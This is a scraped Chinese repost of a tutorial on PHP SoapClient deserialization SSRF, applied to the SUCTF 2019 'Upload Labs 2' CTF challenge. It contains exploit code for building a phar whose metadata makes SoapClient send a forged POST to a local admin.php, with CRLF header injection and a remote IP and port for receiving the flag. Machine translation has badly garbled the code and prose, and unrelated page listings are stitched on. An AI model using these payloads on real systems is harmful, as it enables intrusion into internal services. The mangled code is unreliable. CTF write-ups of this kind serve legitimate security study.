当前位置:首页 > 奇闻趣事

soapclient SoapClient反序列化SSRF

序列化中的魔术方法

https://www.php.net/manual/zh/language.oop5.magic.php

诸如构造、销毁、调用、调用静态、获取、设置、设置、取消设置、睡眠、唤醒、toString、调用、设置状态、克隆和_ _调试信息等方法在PHP中被称为魔术方法

构造函数 __construct 对象被创建的时候调用析构函数 __destruct 对象被销毁的时候调用方法重载 __call 在对象中调用一个不可访问方法时调用方法重载 __callStatic 在静态上下文中调用一个不可访问方法时调用在给不可访问属性赋值时,__set 会被调用。读取不可访问属性的值时,__get 会被调用。当对不可访问属性调用 isset 或 empty 时,__isset 会被调用当对不可访问属性调用 unset 时,__unset 会被调用__sleep 在serialize 函数执行之前调用__wakeup 在unserialize 函数执行之前调用__toString 在一个类被当成字符串时被调用(不仅仅是echo的时候,比如file_exists判断也会触发php中的内置类 <?php $classes = get_declared_classes; foreach($classes as$class) { $methods = get_class_methods($class); foreach($methods as$method) { if(in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' ))) { print$class . '::'. $method . "n"; } } }

SoapClient _ _调用方法

简单对象访问协议

底层通信协议采用HTTP,数据传输格式采用XML

_ _调用方法:https://www.php.net/manual/zh/soapclient.call.php

首先,在正常情况下测试SoapClient类,并调用一个不存在的函数,该函数将调用__call方法

<?php $a = newSoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:5555/path')); $b = serialize($a); echo$b; $c = unserialize($b); $c->not_exists_function;

$ AAA = serialize($ b);$ AAA = str_replace('^^',"rn",$aaa);$ AAA = str _ replace(' & amp;',' & amp,$ AAA);echo $ aaa

$c =非序列化($ AAA);$c->。not _ exists _ function?>。

$ AAA = serialize($ b);$ AAA = str_replace('^^',"rn",$aaa);$ AAA = str _ replace(' & amp;',' & amp,$ AAA);echobin 2 hex($ AAA);?>。

然后使用上面的PHPSESSID来访问,这是管理员

上传-lab2

https://github . com/team-su/SUCTF-2019/tree/master/Web/Upload % 20 labs % 202

标题可以上传文件和检查文件类型

在admin.php,

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){if(isset($_POST['admin'])){$ip = $_POST['ip']; //你用来获取flag的服务器ip$port = $_POST['port']; //你用来获取flag的服务器端口

$ clazz = $ _ POST[' clazz '];$ func 1 = $ _ POST[' func 1 '];$ func 2 = $ _ POST[' func 2 '];$ func 3 = $ _ POST[' func 3 '];$ arg 1 = $ _ POST[' arg 1 '];$ arg 2 = $ _ POST[' arg 2 '];$ arg 2 = $ _ POST[' arg 3 '];$admin = newAd($ip,$port,$clazz,$func1,$func2,$func3,$arg1,$arg2,$ arg 3);$ admin->;检查;}}

需要本地访问,执行$ admin->检查;

在广告课上

function__destruct{getFlag($this->ip, $this->port);//使用你自己的服务器监听一个确保可以收到消息的端口来获取flag}

你可以直接拿到旗子

在class,文件类的方法调用finfo_file函数

functiongetMIME{$finfo = finfo_open(FILEINFO_MIME_TYPE);$this->type = finfo_file($finfo, $this->file_name);finfo_close($finfo);}

finfo _ file/finfo _ buffer/mime _ content _ type通过_php_finfo_get_type间接调用关键函数php_stream_open_wrapper_ex,导致phar://

文件类的_ _唤醒方法通过反射初始化类,并调用其检查成员方法。将类名改为SoapClient,调用check方法时,将调用__call方法实现SSRF

exp:

<?php$phar = newPhar('test.phar');$phar->startBuffering;$phar->addFromString('test.txt','text');$phar->setStub('< language="php">__HALT_COMPILER;</>');

class file { public $ file _ name = ";public $ func = " SoapClient

function _ _ construct { $ target = " http://127 . 0 . 0 . 1/admin . PHP ";$ post _ string = ' admin = & ampip=111.111.111.111&。port = 1111 & ampclazz = SplStack & ampfunc1 = push & ampfunc2 = push & ampfunc3 = push & amparg1 = 123456 & amparg2 = 123456 & amparg3= '。“rn”;$ headers =[];$this->。file_name = [null,array(' location ' = & gt;$target,' user_agent'=>。'xxxxx^^content-type: application/x-www-form-urlencoded^^'.“注册护士”str_replace('^^'join('^^',$headers).内容长度:“”。(字符串)strlen($post_string)。'^^^^'.$post_string),' uri ' = & gthello’)];} } $ object = newFileecho urlenode(serialize($ object));$phar->。setMetadata($ object);$phar->。停止缓冲;

推荐人

https://www.anquanke.com/post/id/153065https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.htmlhttps://xz.aliyun.com/t/2148

相关实验:SSRF攻防

扫描代码实验

推荐SSRF攻防

大家都有不错的技术原创文章

投稿详情点击——重金奖励|和田原创投稿增加稿费!

1.《soapclient SoapClient反序列化SSRF》援引自互联网,旨在传递更多网络信息知识,仅代表作者本人观点,与本网站无关,侵删请联系页脚下方联系方式。

2.《soapclient SoapClient反序列化SSRF》仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证。

3.文章转载时请保留本站内容来源地址,https://www.lu-xu.com/guonei/1081110.html

上一篇

亲爱的麻洋街播出时间是什么 一共多少集

下一篇

歌手王筝曝老公出轨 小三林芳璐为美院高材生

每天200卡路里能减肥吗 每天少吃300大卡,2年减掉20斤体重,方法简单粗暴

  • 每天200卡路里能减肥吗 每天少吃300大卡,2年减掉20斤体重,方法简单粗暴
  • 每天200卡路里能减肥吗 每天少吃300大卡,2年减掉20斤体重,方法简单粗暴
  • 每天200卡路里能减肥吗 每天少吃300大卡,2年减掉20斤体重,方法简单粗暴

win7备份工具 Win7/10系统如何一键还原系统?一键备份还原系统方法图文教程

  • win7备份工具 Win7/10系统如何一键还原系统?一键备份还原系统方法图文教程
  • win7备份工具 Win7/10系统如何一键还原系统?一键备份还原系统方法图文教程
  • win7备份工具 Win7/10系统如何一键还原系统?一键备份还原系统方法图文教程

清道夫吃什么 拿“清道夫”没办法 就用这种方法解决其泛滥问题 太残忍了!

韩式盘发 最美的10种扎发方法,美翻了整条街!

  • 韩式盘发 最美的10种扎发方法,美翻了整条街!
  • 韩式盘发 最美的10种扎发方法,美翻了整条街!
  • 韩式盘发 最美的10种扎发方法,美翻了整条街!

tempered 谷歌提出新分类损失函数:将噪声对训练结果影响降到最低

0的英语 儿童零基础英语启蒙其实没多难,但90%的家长没用好这个方法…

  • 0的英语 儿童零基础英语启蒙其实没多难,但90%的家长没用好这个方法…
  • 0的英语 儿童零基础英语启蒙其实没多难,但90%的家长没用好这个方法…
  • 0的英语 儿童零基础英语启蒙其实没多难,但90%的家长没用好这个方法…
巫师3二周目继承 巫师3怎么玩二周目 多周目进入方法介绍

巫师3二周目继承 巫师3怎么玩二周目 多周目进入方法介绍

通过向导后,一些玩家可能会再次玩它。在向导3中,我们可以继承一个周目并进入第二周。下面介绍一下巫师3第二周怎么玩。让我们看看! 通过向导后,一些玩家可能会再次玩它。在向导3中,我们可以继承一个周目并进入第二周。下面介绍一下巫师3第二周怎么玩。让我们看看!  首先,搜索向导3的新周目dlc在蒸...

魔兽争霸字体修改器 魔兽世界怀旧服字体修改方法介绍

本文介绍如何修改魔兽世界怀旧服的字体。今天开怀旧服。很多玩家不喜欢字体风格。如果要修改字体以便于阅读,怎么修改?我们来看看。 手动修改方法 注意:六七十年代客户端的修改方式和魔兽7.0军团不同。修改请参考本文。 首先下载你需要的字体到你的电脑上,任何地方~然后在你的WOW目录中创建新的文件夹...